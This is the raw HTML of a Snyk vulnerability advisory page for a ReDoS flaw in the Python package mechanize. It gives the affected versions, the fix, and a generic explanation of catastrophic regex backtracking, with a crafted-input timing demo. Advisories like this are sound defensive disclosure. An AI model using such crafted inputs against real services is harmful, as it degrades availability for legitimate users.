.subhead[data-v-415ae652]{color:#fff;font-size:13px;margin-left:32px}ul[data-v-415ae652]{list-style:none;padding:0}.nav__social[data-v-415ae652]{justify-self:center;grid-column-start:1;grid-column-end:5;text-align:center}.nav__social .nav__group__heading[data-v-415ae652]{color:#fff}.nav__social ul[data-v-415ae652]{margin-bottom:24px}.nav__social .list-social[data-v-415ae652]{display:flex;justify-content:center}.nav__social .list-social .list-social__link[data-v-415ae652]{color:#fff;fill:#fff;opacity:.5}.nav__social .list-social .list-social__link[data-v-415ae652]:hover{opacity:1}.nav__social .list-social .list-social__link[data-v-415ae652]  svg{height:1.875rem;width:1.875rem;margin-right:12px}.nav__social .list-social .list-social__link .npm-icon[data-v-415ae652]{height:24px;margin-top:3px}.nav__groups[data-v-415ae652]{display:grid;grid-template-columns:auto;grid-template-rows:repeat(3,auto);grid-row-gap:16px}.nav__group[data-v-415ae652]{grid-column-start:1;grid-column-end:5}.nav__group .nav__group__heading[data-v-415ae652]{color:#fff}.nav__list[data-v-415ae652]{margin:0 32px 0 0}.nav__list .nav__list__item__link[data-v-415ae652],.nav__list .nav__list__item__link[data-v-415ae652]:hover{color:#fff;font-size:13px}.footer-banner[data-v-415ae652]{display:inline-block;width:210px;max-width:100%}.waves-wrapper[data-v-415ae652]{background-image:url(/_nuxt/img/footer-wave.102fbf5.svg);background-size:100% 100%;background-repeat:no-repeat;bottom:0;height:140px;left:0;overflow:hidden;pointer-events:none;position:absolute;right:0;width:100%;z-index:0}@media only screen and (min-width:26.25em){.nav__groups[data-v-415ae652]{grid-template-columns:repeat(4,1fr);grid-template-rows:auto auto}.nav__group[data-v-415ae652]{grid-column-start:unset;grid-column-end:unset}}@media only screen and (min-width:45em){.waves-wrapper[data-v-415ae652]{height:195px}.site-footer[data-v-415ae652]{padding-bottom:195px}.nav__groups[data-v-415ae652]{display:grid;grid-template-columns:repeat(5,1fr);grid-template-rows:auto;grid-row-gap:0}.nav__social[data-v-415ae652]{justify-self:unset;grid-column-start:unset;grid-column-end:unset;text-align:left}.nav__social .list-social[data-v-415ae652]{justify-content:start}}\n.vue--all-caps[data-v-56a8aa57]{font-family:roboto,\"Gill Sans\",\"Calibri\",sans-serif;font-style:normal;font-weight:500;display:block;font-size:.8125rem;line-height:1rem;letter-spacing:1.5px;text-transform:uppercase;color:#727184;font-feature-settings:\"pnum\"}.vue--all-caps--small[data-v-56a8aa57]{font-size:.75rem}</style>\n  </head>\n  <body >\n    <div data-server-rendered=\"true\" id=\"__nuxt\"><!----><div id=\"__layout\"><div class=\"page\" data-v-0fde60d6><header class=\"site-header\" data-v-7e36a2d2 data-v-0fde60d6><div class=\"vue--layout-container site-header__container\" data-v-43af9ae8 data-v-7e36a2d2><a href=\"/\" data-snyk-test=\"homepage-link\" class=\"vue--anchor title-link\" data-v-ce2707d6 data-v-7e36a2d2><img src=\"/_nuxt/img/header-logo.aded646.svg\" alt=\"Homepage\" height=\"35\" width=\"272\" data-snyk-test=\"SiteHeader: logo\" data-v-ce2707d6 data-v-7e36a2d2><!----><!----></a> <div tabindex=\"-1\" data-snyk-test=\"developer-tools-links\" class=\"vue--dropdown-menu dropdown-links vue--dropdown-menu--align-left\" data-v-64b0d6bd data-v-7e36a2d2><div role=\"button\" data-snyk-text=\"BaseDropdownMenu: handle\" aria-haspopup=\"true\" tabindex=\"0\" aria-expanded=\"false\" class=\"vue--dropdown-menu__handle\" data-v-64b0d6bd>\n        Developer Tools\n        <svg width=\"12\" height=\"8\" viewBox=\"0 0 12 8\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\" data-v-64b0d6bd data-v-7e36a2d2><path d=\"M1.41 0.295044L6 4.87504L10.59 0.295044L12 1.70504L6 7.70504L0 1.70504L1.41 0.295044Z\" fill=\"#21214C\" data-v-64b0d6bd data-v-7e36a2d2></path></svg></div> <div class=\"vue--dropdown-menu__menu\" data-v-64b0d6bd> <ul role=\"menu\" class=\"vue--dropdown-menu__menu--primary\" data-v-64b0d6bd> <li role=\"menuitem\" class=\"vue--dropdown-menu-link\" data-v-3871f022 data-v-7e36a2d2><a rel=\"noopener\" href=\"https://learn.snyk.io/\" target=\"_blank\" tabindex=\"-1\" class=\"vue--anchor vue--dropdown-menu-link__link\" data-v-ce2707d6 data-v-3871f022>\n        Snyk Learn\n      <!----><!----></a></li> <li role=\"menuitem\" class=\"vue--dropdown-menu-link\" data-v-3871f022 data-v-7e36a2d2><a rel=\"noopener\" href=\"https://snyk.io/advisor/\" target=\"_blank\" tabindex=\"-1\" class=\"vue--anchor vue--dropdown-menu-link__link\" data-v-ce2707d6 data-v-3871f022>\n        Snyk Advisor\n      <!----><!----></a></li> <li role=\"menuitem\" class=\"vue--dropdown-menu-link\" data-v-3871f022 data-v-7e36a2d2><a rel=\"noopener\" href=\"https://snyk.io/code-checker/\" target=\"_blank\" tabindex=\"-1\" class=\"vue--anchor vue--dropdown-menu-link__link\" data-v-ce2707d6 data-v-3871f022>\n        Code Checker\n      <!----><!----></a></li></ul> <!----> </div></div> <a href=\"https://snyk.io\" data-snyk-test=\"about-link\" class=\"vue--anchor site-header__link\" data-v-ce2707d6 data-v-7e36a2d2>\n      About Snyk\n    <!----><!----></a></div></header> <main data-v-0fde60d6><div data-v-3abfa519 data-v-0fde60d6><div class=\"vuln-page__heading-wrapper\" data-v-3abfa519><div class=\"vue--layout-container breadcrumbs-with-search\" data-v-43af9ae8 data-v-6aaf7084 data-v-3abfa519><div class=\"left\" data-v-43af9ae8 data-v-6aaf7084><nav data-snyk-test=\"vulnpage breadcrumbs\" class=\"vue--breadcrumbs\" data-v-4b4b4f2c data-v-6aaf7084><ol class=\"vue--breadcrumbs__list\" data-v-4b4b4f2c><li class=\"vue--breadcrumbs__list-item\" data-v-4b4b4f2c><a href=\"/vuln\" class=\"vue--breadcrumbs__list-item__url\" data-v-4b4b4f2c>Snyk Vulnerability Database</a></li><li class=\"vue--breadcrumbs__list-item\" data-v-4b4b4f2c><a href=\"/vuln/pip\" class=\"vue--breadcrumbs__list-item__url\" data-v-4b4b4f2c>pip</a></li><li class=\"vue--breadcrumbs__list-item\" data-v-4b4b4f2c><span data-v-4b4b4f2c>mechanize</span></li></ol></nav></div> <div class=\"right\" data-v-43af9ae8 data-v-6aaf7084><div data-v-4dbb44d0 data-v-6aaf7084><div class=\"vue--search-input\" data-v-e38673ba data-v-4dbb44d0><span aria-hidden=\"true\" aria-label=\"Magnify icon\" role=\"img\" class=\"material-design-icon magnify-icon vue--search-input__search-icon\" data-v-e38673ba data-v-e38673ba><svg fill=\"currentColor\" width=\"18\" height=\"18\" viewBox=\"0 0 24 24\" class=\"material-design-icon__svg\"><path d=\"M9.5,3A6.5,6.5 0 0,1 16,9.5C16,11.11 15.41,12.59 14.44,13.73L14.71,14H15.5L20.5,19L19,20.5L14,15.5V14.71L13.73,14.44C12.59,15.41 11.11,16 9.5,16A6.5,6.5 0 0,1 3,9.5A6.5,6.5 0 0,1 9.5,3M9.5,5C7,5 5,7 5,9.5C5,12 7,14 9.5,14C12,14 14,12 14,9.5C14,7 12,5 9.5,5Z\"><!----></path></svg></span> <input type=\"search\" placeholder=\"Search by package name or CVE\" aria-label=\"Search by package name or CVE\" value=\"\" class=\"vue--search-input__field\" data-v-e38673ba> <!----></div> <!----></div></div></div> <div class=\"vue--layout-container grid-wrapper\" data-v-43af9ae8 data-v-3abfa519><div class=\"left\" data-v-43af9ae8 data-v-3abfa519><div class=\"vuln-page__heading\" data-v-43af9ae8 data-v-3abfa519><h1 class=\"vue--heading title\" data-v-8dd2f746 data-v-3abfa519>\n            Regular Expression Denial of Service (ReDoS)\n\n            <span data-snyk-test=\"vulnpage subtitle\" class=\"subheading\" data-v-8dd2f746 data-v-3abfa519>\n              Affecting\n              <a href=\"/package/pip/mechanize\" class=\"vue--anchor\" data-v-ce2707d6 data-v-3abfa519>mechanize<!----><!----></a>\n              package, versions\n              <strong data-snyk-test=\"vuln versions\" data-v-8dd2f746 data-v-3abfa519>\n                [,0.4.6)\n              </strong></span></h1> <!----></div></div></div> <hr class=\"severity-high\" data-v-3abfa519></div> <div class=\"vue--layout-container vuln-page__body-wrapper grid-wrapper\" data-v-43af9ae8 data-v-3abfa519><div data-snyk-test=\"vulnpage severity widget\" class=\"right severity-widget\" data-v-43af9ae8 data-v-3abfa519><div class=\"severity-widget__wrapper severity-high big\" data-v-7e9af804 data-v-3abfa519><div class=\"severity-widget__badge big\" data-v-7e9af804><div data-snyk-test=\"severity widget score\" data-snyk-test-score=\"7.5\" class=\"severity-widget__score severity-high big\" data-v-7e9af804>\n      0.0\n    </div> <span data-snyk-ignore-wcag2aa=\"true\" data-snyk-test=\"vuln severity badge\" class=\"vue--badge vue--badge--high-severity vue--badge--ghost vue--badge--pill vue--badge--uppercase\" data-v-0f55f474 data-v-7e9af804><!----> <span class=\"vue--badge__text\" data-v-0f55f474>\n      high\n    </span> <!----></span></div> <svg width=\"100%\" height=\"100%\" viewBox=\"0 0 170 170\" class=\"progress\" data-v-7e9af804><defs data-v-7e9af804><linearGradient id=\"progress-colors-low2855693\" x1=\"66.3\" y1=\"28.475\" x2=\"-77\" y2=\"20\" gradientUnits=\"userSpaceOnUse\" data-v-7e9af804><stop offset=\"0.447047\" stop-color=\"#85869C\" data-v-7e9af804></stop> <stop offset=\"1\" stop-color=\"#85869C\" stop-opacity=\"0.6\" data-v-7e9af804></stop></linearGradient> <linearGradient id=\"progress-colors-medium2855693\" x1=\"150.3\" y1=\"28.475\" x2=\"-20.975\" y2=\"22.95\" gradientUnits=\"userSpaceOnUse\" data-v-7e9af804><stop offset=\"0.447047\" stop-color=\"#E07E21\" data-v-7e9af804></stop> <stop offset=\"0.661458\" stop-color=\"#E07E21\" stop-opacity=\"0.6\" data-v-7e9af804></stop> <stop offset=\"1\" stop-color=\"#E07E21\" stop-opacity=\"0.4\" data-v-7e9af804></stop></linearGradient> <linearGradient id=\"progress-colors-high2855693\" x1=\"151.3\" y1=\"87.475\" x2=\"-19.975\" y2=\"81.95\" gradientUnits=\"userSpaceOnUse\" data-v-7e9af804><stop offset=\"0.447047\" stop-color=\"#D74B25\" data-v-7e9af804></stop> <stop offset=\"1\" stop-color=\"#D74B25\" stop-opacity=\"0.6\" data-v-7e9af804></stop></linearGradient> <linearGradient id=\"progress-colors-critical2855693\" x1=\"145.5\" y1=\"145\" x2=\"6.49999\" y2=\"57\" gradientUnits=\"userSpaceOnUse\" data-v-7e9af804><stop offset=\"0.291667\" stop-color=\"#B71420\" data-v-7e9af804></stop> <stop offset=\"1\" stop-color=\"#B71420\" stop-opacity=\"0.6\" data-v-7e9af804></stop></linearGradient></defs> <circle cx=\"50%\" cy=\"50%\" r=\"63.75\" stroke-width=\"42.5\" stroke=\"white\" stroke-dasharray=\"0\" stroke-dashoffset=\"400.5530633326986\" data-v-7e9af804></circle> <circle cx=\"50%\" cy=\"50%\" r=\"63.75\" stroke-width=\"42.5\" stroke=\"url(#progress-colors-high2855693)\" stroke-dasharray=\"400.5530633326986\" stroke-dashoffset=\"400.5530633326986\" data-v-7e9af804><animate attributeType=\"XML\" attributeName=\"stroke-dashoffset\" from=\"400.5530633326986\" to=\"100.13826583317467\" dur=\"2000ms\" repeatCount=\"1\" fill=\"freeze\" data-v-7e9af804></animate></circle></svg></div></div> <div class=\"right details-boxes\" data-v-43af9ae8 data-v-3abfa519><div class=\"cvss-details\" data-v-2048fa3e data-v-3abfa519><div data-snyk-test=\"vulnpage details box\" class=\"vue--block vue--card details-extra-padding vue--card--white vue--card--no-padding\" data-v-3645d675 data-v-d6f7b9fc data-v-50201d1d data-v-2048fa3e><!----> <!----> <!----> <div class=\"vue--card__body\" data-v-3645d675 data-v-d6f7b9fc><div class=\"details-box__body\" data-v-3645d675 data-v-50201d1d><h3 class=\"vue--heading cvss-details__heading\" data-v-8dd2f746 data-v-2048fa3e>Snyk CVSS</h3> <!----> <ul data-v-3645d675 data-v-50201d1d> <!----> <div data-snyk-test=\"CvssDetailsItem: Exploit Maturity\" class=\"cvss-details-item\" data-v-379da117 data-v-2048fa3e><span data-v-379da117>\n    Exploit Maturity\n  </span> <span data-v-379da117><strong data-v-379da117>\n        Proof of concept\n      </strong> <div class=\"vue--tooltip vue--tooltip--help cvss-details-item__tooltip\" data-v-06ded3b9 data-v-379da117><div data-snyk-test=\"BaseTooltip: label\" class=\"vue--tooltip__label\" data-v-06ded3b9><span aria-label=\"Help Icon\" role=\"img\" class=\"material-design-icon help-icon\" data-v-06ded3b9><svg fill=\"currentColor\" width=\"24\" height=\"24\" viewBox=\"0 0 24 24\" class=\"material-design-icon__svg\"><path d=\"M12 2a10 10 0 1 0 0 20 10 10 0 0 0 0-20zm1 17h-2v-2h2v2zm2.07-7.75l-.9.92A3.4 3.4 0 0 0 13 15h-2v-.5c0-1.1.45-2.1 1.17-2.83l1.24-1.26c.4-.33.6-.83.6-1.4a2 2 0 0 0-2-2 2 2 0 0 0-2 2H8c0-2.2 1.8-4 4-4s4 1.8 4 4c0 .9-.36 1.7-.93 2.27v-.03z\"></path></svg></span></div> <!----></div></span></div><div data-snyk-test=\"CvssDetailsItem: Attack Complexity\" class=\"cvss-details-item\" data-v-379da117 data-v-2048fa3e><span data-v-379da117>\n    Attack Complexity\n  </span> <span data-v-379da117><strong data-v-379da117>\n        Low\n      </strong> <div class=\"vue--tooltip vue--tooltip--help cvss-details-item__tooltip\" data-v-06ded3b9 data-v-379da117><div data-snyk-test=\"BaseTooltip: label\" class=\"vue--tooltip__label\" data-v-06ded3b9><span aria-label=\"Help Icon\" role=\"img\" class=\"material-design-icon help-icon\" data-v-06ded3b9><svg fill=\"currentColor\" width=\"24\" height=\"24\" viewBox=\"0 0 24 24\" class=\"material-design-icon__svg\"><path d=\"M12 2a10 10 0 1 0 0 20 10 10 0 0 0 0-20zm1 17h-2v-2h2v2zm2.07-7.75l-.9.92A3.4 3.4 0 0 0 13 15h-2v-.5c0-1.1.45-2.1 1.17-2.83l1.24-1.26c.4-.33.6-.83.6-1.4a2 2 0 0 0-2-2 2 2 0 0 0-2 2H8c0-2.2 1.8-4 4-4s4 1.8 4 4c0 .9-.36 1.7-.93 2.27v-.03z\"></path></svg></span></div> <!----></div></span></div><div data-snyk-test=\"CvssDetailsItem: Availability\" class=\"cvss-details-item\" data-v-379da117 data-v-2048fa3e><span data-v-379da117>\n    Availability\n  </span> <span data-v-379da117><span data-snyk-ignore-wcag2aa=\"true\" class=\"vue--badge vue--badge--high-severity vue--badge--ghost vue--badge--small vue--badge--pill vue--badge--uppercase\" data-v-0f55f474 data-v-379da117><!----> <span class=\"vue--badge__text\" data-v-0f55f474>\n        High\n      </span> <!----></span> <div class=\"vue--tooltip vue--tooltip--help cvss-details-item__tooltip\" data-v-06ded3b9 data-v-379da117><div data-snyk-test=\"BaseTooltip: label\" class=\"vue--tooltip__label\" data-v-06ded3b9><span aria-label=\"Help Icon\" role=\"img\" class=\"material-design-icon help-icon\" data-v-06ded3b9><svg fill=\"currentColor\" width=\"24\" height=\"24\" viewBox=\"0 0 24 24\" class=\"material-design-icon__svg\"><path d=\"M12 2a10 10 0 1 0 0 20 10 10 0 0 0 0-20zm1 17h-2v-2h2v2zm2.07-7.75l-.9.92A3.4 3.4 0 0 0 13 15h-2v-.5c0-1.1.45-2.1 1.17-2.83l1.24-1.26c.4-.33.6-.83.6-1.4a2 2 0 0 0-2-2 2 2 0 0 0-2 2H8c0-2.2 1.8-4 4-4s4 1.8 4 4c0 .9-.36 1.7-.93 2.27v-.03z\"></path></svg></span></div> <!----></div></span></div></ul> <div class=\"data-list-items collapse\" data-v-3645d675 data-v-50201d1d><button type=\"button\" role=\"button\" data-snyk-test=\"DetailsBox: expand\" class=\"vue--button vue--button--link see-all\" data-v-94138f12 data-v-50201d1d>\n        See more\n      </button> <!----></div></div></div> <!----> <!----></div></div>  <div data-snyk-test=\"register cta\" class=\"register-cta\" data-v-361fdb61 data-v-3abfa519><div class=\"vue--block vue--block--instruction\" data-v-3645d675 data-v-361fdb61><div class=\"register-cta__body small\" data-v-3645d675 data-v-361fdb61><p class=\"heading\" data-v-3645d675 data-v-361fdb61>Do your applications use this vulnerable package?</p> <p data-v-3645d675 data-v-361fdb61>In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.</p> <a rel=\"noopener noreferrer\" target=\"_blank\" role=\"button\" label=\"Test your code\" href=\"https://app.snyk.io/login?cta=sign-up&amp;loc=banner&amp;page=vuln-vuln\" data-snyk-test=\"register cta: button\" class=\"vue--button vue--button--cta\" data-v-94138f12 data-v-361fdb61>\n        Test your applications\n      </a></div></div></div> <!----> <div data-snyk-test=\"vuln detailsbox meta\" class=\"vue--block vue--card vuln-credit vue--card--white vue--card--no-padding\" data-v-3645d675 data-v-d6f7b9fc data-v-33fd0c51 data-v-3abfa519><!----> <!----> <!----> <div class=\"vue--card__body\" data-v-3645d675 data-v-d6f7b9fc><ul data-v-3645d675 data-v-33fd0c51><li label=\"snyk-id\" data-snyk-test=\"vuln detailsbox item\" data-v-3645d675 data-v-33fd0c51><span data-snyk-test=\"vuln detailsbox label\" class=\"credits__label\" data-v-3645d675 data-v-33fd0c51>Snyk ID</span> <strong data-snyk-test=\"vuln detailsbox value\" data-v-3645d675 data-v-33fd0c51>SNYK-PYTHON-MECHANIZE-3232926</strong></li><li label=\"published\" data-snyk-test=\"vuln detailsbox item\" data-v-3645d675 data-v-33fd0c51><span data-snyk-test=\"vuln detailsbox label\" class=\"credits__label\" data-v-3645d675 data-v-33fd0c51>published</span> <strong data-snyk-test=\"vuln detailsbox value\" data-v-3645d675 data-v-33fd0c51>18 Jan 2023</strong></li><li label=\"disclosed\" data-snyk-test=\"vuln detailsbox item\" data-v-3645d675 data-v-33fd0c51><span data-snyk-test=\"vuln detailsbox label\" class=\"credits__label\" data-v-3645d675 data-v-33fd0c51>disclosed</span> <strong data-snyk-test=\"vuln detailsbox value\" data-v-3645d675 data-v-33fd0c51>18 Jan 2023</strong></li><li label=\"credit\" data-snyk-test=\"vuln detailsbox item\" data-v-3645d675 data-v-33fd0c51><span data-snyk-test=\"vuln detailsbox label\" class=\"credits__label\" data-v-3645d675 data-v-33fd0c51>credit</span> <strong data-snyk-test=\"vuln detailsbox value\" data-v-3645d675 data-v-33fd0c51>Kevin Backhouse</strong></li></ul></div> <!----> <!----></div> <div data-snyk-test=\"VulnDbFeedbackLinks: buttons\" class=\"base-buttons\" data-v-32e39077 data-v-3abfa519><a rel=\"noopener noreferrer\" target=\"_blank\" role=\"button\" href=\"https://snyk.io/vulnerability-disclosure/\" data-snyk-test=\"VulnDbFeedbackLinks: support CTA\" class=\"vue--button base-button vue--button--basic vue--button--ghost\" data-v-94138f12 data-v-32e39077>\n    Report a new vulnerability\n  </a> <a rel=\"noopener noreferrer\" target=\"_blank\" role=\"button\" href=\"https://support.snyk.io/hc/en-us/requests/new\" data-snyk-test=\"VulnDbFeedbackLinks: submit request CTA\" class=\"vue--button base-button vue--button--basic vue--button--ghost\" data-v-94138f12 data-v-32e39077>\n    Found a mistake?\n  </a></div></div> <div class=\"left\" data-v-43af9ae8 data-v-3abfa519><div class=\"vuln-page__info-block__container\" data-v-43af9ae8 data-v-3abfa519><div class=\"vuln-info-block\" data-v-2bb0c06e data-v-3abfa519><h4 data-snyk-test=\"formatted-date\" class=\"vue--heading date\" data-v-8dd2f746 data-v-2bb0c06e>\n    Introduced: 18 Jan 2023\n  </h4> <span data-snyk-test=\"new-badge\" class=\"vue--badge vue--badge--info vue--badge--small vue--badge--pill vue--badge--uppercase\" data-v-0f55f474 data-v-2bb0c06e><!----> <span class=\"vue--badge__text\" data-v-0f55f474>New</span> <!----></span> <!----> <span data-snyk-test=\"cve\" class=\"cve\" data-v-2bb0c06e><span data-v-b74dadd4 data-v-2bb0c06e><a aria-describedby=\"describedByifPvTiyodP\" rel=\"noopener noreferrer\" href=\"https://www.cve.org/CVERecord?id=CVE-2021-32837\" target=\"_blank\" id=\"CVE-2021-32837\" class=\"vue--anchor\" data-v-ce2707d6 data-v-b74dadd4>CVE-2021-32837<!----><span id=\"describedByMymUJ1FoHA\" data-snyk-test=\"BaseAnchor screen reader description\" class=\"vue--anchor__offscreen\" data-v-ce2707d6>\n    Open this link in a new tab\n  </span></a> <div class=\"vue--tooltip item-tooltip vue--tooltip--help\" data-v-06ded3b9 data-v-b74dadd4><div aria-describedby=\"CVE-2021-32837\" aria-controls=\"CVE-2021-32837\" data-snyk-test=\"BaseTooltip: label\" class=\"vue--tooltip__label\" data-v-06ded3b9><span aria-label=\"Help Icon\" role=\"img\" class=\"material-design-icon help-icon\" data-v-06ded3b9><svg fill=\"currentColor\" width=\"24\" height=\"24\" viewBox=\"0 0 24 24\" class=\"material-design-icon__svg\"><path d=\"M12 2a10 10 0 1 0 0 20 10 10 0 0 0 0-20zm1 17h-2v-2h2v2zm2.07-7.75l-.9.92A3.4 3.4 0 0 0 13 15h-2v-.5c0-1.1.45-2.1 1.17-2.83l1.24-1.26c.4-.33.6-.83.6-1.4a2 2 0 0 0-2-2 2 2 0 0 0-2 2H8c0-2.2 1.8-4 4-4s4 1.8 4 4c0 .9-.36 1.7-.93 2.27v-.03z\"></path></svg></span></div> <!----></div></span></span> <!----> <span data-snyk-test=\"cwe\" data-v-2bb0c06e><span data-v-b74dadd4 data-v-2bb0c06e><a aria-describedby=\"describedByI0uj1yq91a\" rel=\"noopener noreferrer\" href=\"https://cwe.mitre.org/data/definitions/1333.html\" target=\"_blank\" id=\"CWE-1333\" class=\"vue--anchor\" data-v-ce2707d6 data-v-b74dadd4>CWE-1333<!----><span id=\"describedByZfFd86i91p\" data-snyk-test=\"BaseAnchor screen reader description\" class=\"vue--anchor__offscreen\" data-v-ce2707d6>\n    Open this link in a new tab\n  </span></a> <div class=\"vue--tooltip item-tooltip vue--tooltip--help\" data-v-06ded3b9 data-v-b74dadd4><div aria-describedby=\"CWE-1333\" aria-controls=\"CWE-1333\" data-snyk-test=\"BaseTooltip: label\" class=\"vue--tooltip__label\" data-v-06ded3b9><span aria-label=\"Help Icon\" role=\"img\" class=\"material-design-icon help-icon\" data-v-06ded3b9><svg fill=\"currentColor\" width=\"24\" height=\"24\" viewBox=\"0 0 24 24\" class=\"material-design-icon__svg\"><path d=\"M12 2a10 10 0 1 0 0 20 10 10 0 0 0 0-20zm1 17h-2v-2h2v2zm2.07-7.75l-.9.92A3.4 3.4 0 0 0 13 15h-2v-.5c0-1.1.45-2.1 1.17-2.83l1.24-1.26c.4-.33.6-.83.6-1.4a2 2 0 0 0-2-2 2 2 0 0 0-2 2H8c0-2.2 1.8-4 4-4s4 1.8 4 4c0 .9-.36 1.7-.93 2.27v-.03z\"></path></svg></span></div> <!----></div></span></span> <!----></div> <div ghost=\"\" variant=\"basic\" class=\"vue--button-dropdown vuln-page__info-block__container__sharebtn\" data-v-13063395 data-v-39001840 data-v-3abfa519><button type=\"button\" role=\"button\" aria-label=\"Expand list of options\" tabindex=\"0\" class=\"vue--button vue--button-dropdown__btn vue--button--basic vue--button--ghost vue--button--small\" data-v-94138f12 data-v-13063395>\n    Share\n    <span aria-hidden=\"true\" aria-label=\"Chevron Down icon\" role=\"img\" class=\"material-design-icon chevron-down-icon vue--button-dropdown__icon\" data-v-94138f12 data-v-13063395><svg fill=\"currentColor\" width=\"24\" height=\"24\" viewBox=\"0 0 24 24\" class=\"material-design-icon__svg\"><path d=\"M7.41,8.58L12,13.17L16.59,8.58L18,10L12,16L6,10L7.41,8.58Z\"><!----></path></svg></span></button> <div class=\"vue--button-dropdown__content vue--button-dropdown__content--right\" data-v-13063395><!----></div></div></div> <div class=\"vue--block vuln-page__instruction-block vue--block--instruction\" data-v-3645d675 data-v-3abfa519><div class=\"vuln-page__content\" data-v-3645d675 data-v-3abfa519><div class=\"markdown-section\" data-v-5c17117c data-v-3abfa519><h2 class=\"vue--heading heading\" data-v-8dd2f746 data-v-5c17117c>\n    How to fix?\n  </h2> <div class=\"vue--prose\" data-v-6b6ff1c7 data-v-5c17117c><div class=\"vue--markdown-to-html markdown-description\" data-v-185c2450 data-v-5c17117c><p>Upgrade <code>mechanize</code> to version 0.4.6 or higher.</p>\n</div></div> </div></div></div> <div data-v-43af9ae8 data-v-3abfa519><div class=\"markdown-section\" data-v-5c17117c data-v-3abfa519><h2 class=\"vue--heading heading\" data-v-8dd2f746 data-v-5c17117c>\n    Overview\n  </h2> <div class=\"vue--prose\" data-v-6b6ff1c7 data-v-5c17117c><div class=\"vue--markdown-to-html markdown-description\" data-v-185c2450 data-v-5c17117c><p><a href=\"https://pypi.org/project/mechanize\">mechanize</a> is a Stateful, programmatic web browsing</p>\n<p>Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to insecure usage of regular expression in the <code>compile</code> method used in the <code>AbstractBasicAuthHandler</code> class. Exploiting this vulnerability is possible when parsing a malformed auth header.</p>\n</div></div> </div></div><div data-v-43af9ae8 data-v-3abfa519><div class=\"markdown-section\" data-v-5c17117c data-v-3abfa519><h2 class=\"vue--heading heading\" data-v-8dd2f746 data-v-5c17117c>\n    Details\n  </h2> <div class=\"vue--prose\" data-v-6b6ff1c7 data-v-5c17117c><div class=\"vue--markdown-to-html markdown-description\" data-v-185c2450 data-v-5c17117c><p>Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.</p>\n<p>The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren&#39;t very intuitive and can ultimately end up making it easy for attackers to take your site down.</p>\n<p>Let’s take the following regular expression as an example:</p>\n<pre><code class=\"language-js\">regex = /A(B|C+)+D/\n</code></pre>\n<p>This regular expression accomplishes the following:</p>\n<ul>\n<li><code>A</code> The string must start with the letter &#39;A&#39;</li>\n<li><code>(B|C+)+</code> The string must then follow the letter A with either the letter &#39;B&#39; or some number of occurrences of the letter &#39;C&#39; (the <code>+</code> matches one or more times). The <code>+</code> at the end of this section states that we can look for one or more matches of this section.</li>\n<li><code>D</code> Finally, we ensure this section of the string ends with a &#39;D&#39;</li>\n</ul>\n<p>The expression would match inputs such as <code>ABBD</code>, <code>ABCCCCD</code>, <code>ABCBCCCD</code> and <code>ACCCCCD</code></p>\n<p>It most cases, it doesn&#39;t take very long for a regex engine to find a match:</p>\n<pre><code class=\"language-bash\">$ time node -e &#39;/A(B|C+)+D/.test(&quot;ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD&quot;)&#39;\n0.04s user 0.01s system 95% cpu 0.052 total\n\n<p>$ time node -e &#39;/A(B|C+)+D/.test(&quot;ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX&quot;)&#39;\n1.79s user 0.02s system 99% cpu 1.812 total\n</code></pre></p>\n<p>The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.</p>\n<p>Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as <em>catastrophic backtracking</em>.</p>\n<p>Let&#39;s look at how our expression runs into this problem, using a shorter string: &quot;ACCCX&quot;. While it seems fairly straightforward, there are still four different ways that the engine could match those three C&#39;s:</p>\n<ol>\n<li>CCC</li>\n<li>CC+C</li>\n<li>C+CC</li>\n<li>C+C+C.</li>\n</ol>\n<p>The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use <a href=\"https://regex101.com/debugger\">RegEx 101 debugger</a> to see the engine has to take a total of 38 steps before it can determine the string doesn&#39;t match.</p>\n<p>From there, the number of steps the engine must use to validate a string just continues to grow.</p>\n<table>\n<thead>\n<tr>\n<th>String</th>\n<th align=\"right\">Number of C&#39;s</th>\n<th align=\"right\">Number of steps</th>\n</tr>\n</thead>\n<tbody><tr>\n<td>ACCCX</td>\n<td align=\"right\">3</td>\n<td align=\"right\">38</td>\n</tr>\n<tr>\n<td>ACCCCX</td>\n<td align=\"right\">4</td>\n<td align=\"right\">71</td>\n</tr>\n<tr>\n<td>ACCCCCX</td>\n<td align=\"right\">5</td>\n<td align=\"right\">136</td>\n</tr>\n<tr>\n<td>ACCCCCCCCCCCCCCX</td>\n<td align=\"right\">14</td>\n<td align=\"right\">65,553</td>\n</tr>\n</tbody></table>\n<p>By the time the string includes 14 C&#39;s, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.</p>\n</div></div> </div></div><div data-v-43af9ae8 data-v-3abfa519><div class=\"markdown-section\" data-v-5c17117c data-v-3abfa519><h2 class=\"vue--heading heading\" data-v-8dd2f746 data-v-5c17117c>\n    References\n  </h2> <div class=\"vue--prose\" data-v-6b6ff1c7 data-v-5c17117c><div class=\"vue--markdown-to-html markdown-description\" data-v-185c2450 data-v-5c17117c><ul>\n<li><a href=\"https://github.com/python-mechanize/mechanize/commit/dd05334448e9f39814bab044d2eaa5ef69b410d6\">GitHub Commit</a></li>\n<li><a href=\"https://github.com/python-mechanize/mechanize/releases/tag/v0.4.6\">GitHub Release</a></li>\n<li><a href=\"https://securitylab.github.com/advisories/GHSL-2021-108-python-mechanize-mechanize/\">Security Advisory</a></li>\n<li><a 